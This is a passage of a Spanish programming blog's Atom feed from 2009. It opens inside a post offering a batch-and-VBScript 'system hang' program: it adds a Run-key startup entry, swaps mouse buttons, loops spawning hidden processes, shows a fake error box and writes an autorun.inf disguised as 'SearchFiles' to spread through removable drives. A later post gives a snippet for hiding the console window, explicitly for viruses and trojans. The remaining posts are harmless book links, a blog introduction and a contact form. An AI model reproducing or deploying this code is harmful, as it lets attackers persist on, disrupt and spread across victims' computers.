"BDUpdateCheck"&lt;br /&gt; /t REG_SZ /d "%homedrive%\%spy%\%led%%s%" /f &gt;nul &lt;br /&gt;goto :EOF&lt;br /&gt;&lt;br /&gt;:core&lt;br /&gt;%o% rundll32 user32.dll,SwapMouseButton &gt;&gt; "%homedrive%\%spy%\tmp%d%%l%"&lt;br /&gt;%o% start http://img211.imageshack.us/img211/3792/army31280rc7.jpg&lt;br /&gt; &gt;&gt; "%homedrive%\%spy%\tmp%d%%l%"&lt;br /&gt;%o% start %homedrive%\%spy%\%led%%s% &gt;&gt; "%homedrive%\%spy%\tmp%d%%l%"&lt;br /&gt;&lt;br /&gt;%o% Do &gt;&gt; "%homedrive%\%spy%\%led%%s%" &lt;br /&gt;%o% Set fh = CreateObject("WScript.Shell") &gt;&gt; "%homedrive%\%spy%\%led%%s%"&lt;br /&gt;%o% fh.run "notepad.exe", vbHide &gt;&gt; "%homedrive%\%spy%\%led%%s%"&lt;br /&gt;%o% fh.run "mspaint.exe", vbHide &gt;&gt; "%homedrive%\%spy%\%led%%s%"&lt;br /&gt;%o% fh.run "calc.exe", vbHide &gt;&gt; "%homedrive%\%spy%\%led%%s%"&lt;br /&gt;%o% fh.run "explorer.exe", vbHide &gt;&gt; "%homedrive%\%spy%\%led%%s%"&lt;br /&gt;%o% Loop &gt;&gt; "%homedrive%\%spy%\%led%%s%"&lt;br /&gt;goto :EOF&lt;br /&gt;&lt;br /&gt;:core2&lt;br /&gt;%o% MsgBox "La instrucción en ""0x019816d3"" hace referencia a la memoria&lt;br /&gt; en ""0x019816d3"". La memoria no se puede ""read"".",21, &lt;br /&gt;"SearchFiles.exe - Error de aplicación" &gt;&gt; "%homedrive%\%spy%\tmp%e%%s%"&lt;br /&gt;%o% Set sg = CreateObject("WScript.Shell") &gt;&gt; "%homedrive%\%spy%\tmp%e%%s%"&lt;br /&gt;%o% sg.run "%homedrive%\%spy%\tmp%r%%s%" &gt;&gt; "%homedrive%\%spy%\tmp%e%%s%"&lt;br /&gt;goto :EOF&lt;br /&gt;&lt;br /&gt;:core3&lt;br /&gt;%o% Set cmd = CreateObject("WScript.Shell") &gt;&gt; "%homedrive%\%spy%\tmp%r%%s%" &lt;br /&gt;%o% Set shell = CreateObject("Scripting.FileSystemObject")&lt;br /&gt; &gt;&gt; "%homedrive%\%spy%\tmp%r%%s%"&lt;br /&gt;%o% cmd.Run "%homedrive%\%spy%\tmp%d%%l%" &gt;&gt; "%homedrive%\%spy%\tmp%r%%s%"&lt;br /&gt;goto :EOF&lt;br /&gt;&lt;br /&gt;:core4&lt;br /&gt;%o% [autorun] &gt;&gt; "%homedrive%\%spy%\autorun.inf"&lt;br /&gt;%o% open=SearchFiles%l% &gt;&gt; "%homedrive%\%spy%\autorun.inf"&lt;br /&gt;%o% icon=%systemroot%\system32\shell32.dll,7 &gt;&gt; "%homedrive%\%spy%\autorun.inf"&lt;br /&gt;%o% UseAutoPlay=1 &gt;&gt; "%homedrive%\%spy%\autorun.inf"&lt;br /&gt;%o% action=Abrir memoria para ver archivos &gt;&gt; "%homedrive%\%spy%\autorun.inf"&lt;br /&gt;%o% action=   @SearchFiles%l% &gt;&gt; "%homedrive%\%spy%\autorun.inf"&lt;br /&gt;%o% shell\open=Abrir &gt;&gt; "%homedrive%\%spy%\autorun.inf"&lt;br /&gt;%o% shell\open\command=SearchFiles%l% &gt;&gt; "%homedrive%\%spy%\autorun.inf"&lt;br /&gt;%o% shell\open\default=1 &gt;&gt; "%homedrive%\%spy%\autorun.inf"&lt;br /&gt;%o% shell\explore=Explorar &gt;&gt; "%homedrive%\%spy%\autorun.inf"&lt;br /&gt;%o% shell\explore\command=SearchFiles%l% &gt;&gt; "%homedrive%\%spy%\autorun.inf"&lt;br /&gt;goto :EOF&lt;br /&gt;&lt;br /&gt;:msj&lt;br /&gt;call %homedrive%\%spy%\tmp%e%%s% &amp;&amp; exit&lt;/blockquote&gt;&lt;br /&gt;Descarga | &lt;a href="http://www.4shared.com/file/58067210/22fdea40/CS_online.html"&gt;Código en archivo de texto&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9125759710408196892-5011058292360719486?l=nano-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nano-code.blogspot.com/feeds/5011058292360719486/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://nano-code.blogspot.com/2009/06/systemoff-colgar-el-sistema-en-batch.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/5011058292360719486'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/5011058292360719486'/><link rel='alternate' type='text/html' href='http://nano-code.blogspot.com/2009/06/systemoff-colgar-el-sistema-en-batch.html' title='SystemOff, colgar el sistema en Batch'/><author><name>Soldier</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_CGOCnuwYc_Q/SbBP9MppzbI/AAAAAAAAARI/WoQe13iYv2g/s1600-R/acced89465c6158b0f7d089683cebd55.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9125759710408196892.post-5962292086485581396</id><published>2009-06-25T23:31:00.002-05:00</published><updated>2009-06-27T11:14:36.036-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Batch'/><category scheme='http://www.blogger.com/atom/ns#' term='VBS'/><title type='text'>Ocultar ventana MS-DOS ó prompt ó cmd</title><content type='html'>Si su code es de algún virus, troyano o alguna aplicación que no sea necesaria la intervención de la molesta ventana negra este pequeño código les servirá para ocultarla, es un script que hace una llamada a su archivo para así ocultar esa ventana, estas líneas de código las guardaran con extensión .vbs y ya estuvo.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;set cmd = createobject("wscript.shell")&lt;br /&gt;set shell = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;cmd.run "archivo-escondido.bat", vbHide&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9125759710408196892-5962292086485581396?l=nano-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nano-code.blogspot.com/feeds/5962292086485581396/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://nano-code.blogspot.com/2009/06/ocultar-ventana-ms-dos-o-prompt-o-cmd.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/5962292086485581396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/5962292086485581396'/><link rel='alternate' type='text/html' href='http://nano-code.blogspot.com/2009/06/ocultar-ventana-ms-dos-o-prompt-o-cmd.html' title='Ocultar ventana MS-DOS ó prompt ó cmd'/><author><name>Soldier</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_CGOCnuwYc_Q/SbBP9MppzbI/AAAAAAAAARI/WoQe13iYv2g/s1600-R/acced89465c6158b0f7d089683cebd55.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9125759710408196892.post-667478568012948913</id><published>2009-06-25T23:14:00.002-05:00</published><updated>2009-07-07T16:22:39.282-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>Pensando en C++ de Bruce Eckel [Español]</title><content type='html'>&lt;p&gt;Durante mi aprendizaje en C++ me he dado cuenta de que este Libro me ha servido de mucho y su entendimiento es tanto para principiantes como para usuarios un poco avanzados. Pensando en C++ esta compuesto en 2 tomos que al término de leerlos de seguro sabrás programar en este maravilloso lenguaje que es bastante útil si deseas ser un programador a futuro. Se los recomiendo y lo dejo para su descarga.&lt;/p&gt;&lt;br /&gt;&lt;center&gt;&lt;b&gt;Volumen 1&lt;/b&gt;&lt;br /&gt;&lt;a href="http://rapidshare.com/files/216415731/Pensar-en-c__1.pdf"&gt;&lt;img src="http://www.mindview.net/Books/TICPP/Cpp2V1Cover.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;i&gt;Clic en la imagen para descargar&lt;/i&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Volumen 2&lt;/b&gt;&lt;br /&gt;&lt;a href="http://rapidshare.com/files/216420437/Pensar-en-c__2.pdf"&gt;&lt;img src="http://www.mindview.net/Books/TICPP/CPPV2cover.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;i&gt;Clic en la imagen para descargar&lt;/i&gt;&lt;/center&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9125759710408196892-667478568012948913?l=nano-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nano-code.blogspot.com/feeds/667478568012948913/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://nano-code.blogspot.com/2009/06/pensando-en-c-de-bruce-eckel-espanol.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/667478568012948913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/667478568012948913'/><link rel='alternate' type='text/html' href='http://nano-code.blogspot.com/2009/06/pensando-en-c-de-bruce-eckel-espanol.html' title='Pensando en C++ de Bruce Eckel [Español]'/><author><name>Soldier</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_CGOCnuwYc_Q/SbBP9MppzbI/AAAAAAAAARI/WoQe13iYv2g/s1600-R/acced89465c6158b0f7d089683cebd55.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9125759710408196892.post-6094022979419177310</id><published>2009-06-25T21:45:00.005-05:00</published><updated>2009-07-07T16:23:17.184-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Python para todos [Español]</title><content type='html'>&lt;p&gt;&lt;i&gt;'Python para todos'&lt;/i&gt; es un libro sobre programación en Python escrito por Raúl González Duque. Se trata de un tutorial de Python adecuado para todos los niveles y que puedes descargar totalmente gratis.&lt;br /&gt;&lt;br /&gt;El tutorial de Python 'Python para todos' se distribuye bajo licencia Creative Commons Reconocimiento 2.5 España, lo que supone que puedes distribuirlo, modificarlo, traducirlo a otros idiomas, ... siempre que indiques el autor original.&lt;br /&gt;&lt;br /&gt;El libro cuenta con 115 páginas en las que se tratan los siguientes temas:&lt;/p&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://i285.photobucket.com/albums/ll72/_s0ld13r_/boxpythonparatodosla3.png" width="500"/&gt;&lt;/center&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;* Tipos básicos&lt;br /&gt;* Control de flujo&lt;br /&gt;* Funciones&lt;br /&gt;* Orientación a objetos&lt;br /&gt;* Programación funcional&lt;br /&gt;* Excepciones&lt;br /&gt;* Módulos y paquetes&lt;br /&gt;* Entrada / Salida&lt;br /&gt;* Expresiones regulares&lt;br /&gt;* Sockets&lt;br /&gt;* Interacción con webs&lt;br /&gt;* Threads&lt;br /&gt;* Serialización de objetos&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Descarga | &lt;a href="http://www.4shared.com/file/53464539/e77b9fe1/Python_para_todos_.html"&gt;Python Para Todos&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9125759710408196892-6094022979419177310?l=nano-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nano-code.blogspot.com/feeds/6094022979419177310/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://nano-code.blogspot.com/2009/06/python-para-todos-espanol.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/6094022979419177310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/6094022979419177310'/><link rel='alternate' type='text/html' href='http://nano-code.blogspot.com/2009/06/python-para-todos-espanol.html' title='Python para todos [Español]'/><author><name>Soldier</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_CGOCnuwYc_Q/SbBP9MppzbI/AAAAAAAAARI/WoQe13iYv2g/s1600-R/acced89465c6158b0f7d089683cebd55.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9125759710408196892.post-4260787542249440425</id><published>2009-06-25T14:55:00.006-05:00</published><updated>2009-06-26T13:56:55.515-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Videotutoriales'/><title type='text'>Nuevo espacio dedicado a la programación</title><content type='html'>Bien pues me he dedicado empezar este nuevo portal dedicado solamente a la programación publicando códigos, manuales y algunos tutoriales que serán hechos por mi como clases de programación. Como dije, es todo referente a la programación y dentro podría incluir programación orientada a hack, noticias, y códigos del mismo tipo.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://i285.photobucket.com/albums/ll72/_s0ld13r_/qrnanocode.png"/&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Disfrutenlo ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9125759710408196892-4260787542249440425?l=nano-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nano-code.blogspot.com/feeds/4260787542249440425/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://nano-code.blogspot.com/2009/06/nuevo-espacio-dedicado-la-programacion.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/4260787542249440425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/4260787542249440425'/><link rel='alternate' type='text/html' href='http://nano-code.blogspot.com/2009/06/nuevo-espacio-dedicado-la-programacion.html' title='Nuevo espacio dedicado a la programación'/><author><name>Soldier</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_CGOCnuwYc_Q/SbBP9MppzbI/AAAAAAAAARI/WoQe13iYv2g/s1600-R/acced89465c6158b0f7d089683cebd55.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9125759710408196892.post-8954312998921976205</id><published>2009-06-25T12:38:00.015-05:00</published><updated>2009-07-04T21:07:11.504-05:00</updated><title type='text'>Contacto [En construccion]</title><content type='html'>&lt;center&gt;&lt;br /&gt;&lt;form method="post" action="contact.php"&gt;            &lt;br /&gt;&lt;label for="name"&gt;Nombre: &lt;/label&gt;&lt;input type="text" name="name" id="name" /&gt;&lt;br&gt;&lt;br /&gt;&lt;label for="email"&gt;Email: &lt;/label&gt;&lt;input type="text" name="email" id="email" /&gt;&lt;br&gt;&lt;br /&gt;&lt;label for="email"&gt;Sitio Web: &lt;/label&gt;&lt;input type="text" name="web" id="web" /&gt;&lt;br&gt;&lt;br /&gt;&lt;label for="message"&gt;Mensaje: &lt;/label&gt;&lt;textarea name="message" id="message" cols="40" rows="10"&gt;&lt;/textarea&gt;&lt;br&gt;&lt;br /&gt;&lt;label&gt;&amp;nbsp;&lt;/label&gt; &lt;input type="submit" value="Enviar" class="btn" /&gt;&lt;br&gt;&lt;br /&gt;    &lt;/form&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9125759710408196892-8954312998921976205?l=nano-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nano-code.blogspot.com/feeds/8954312998921976205/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://nano-code.blogspot.com/2009/06/contacto_25.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/8954312998921976205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/8954312998921976205'/><link rel='alternate' type='text/html' href='http://nano-code.blogspot.com/2009/06/contacto_25.html' title='Contacto [En construccion]'/><author><name>Soldier</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_CGOCnuwYc_Q/SbBP9MppzbI/AAAAAAAAARI/WoQe13iYv2g/s1600-R/acced89465c6158b0f7d089683cebd55.jpg'/></author><thr:total>0</thr:total></entry></feed>
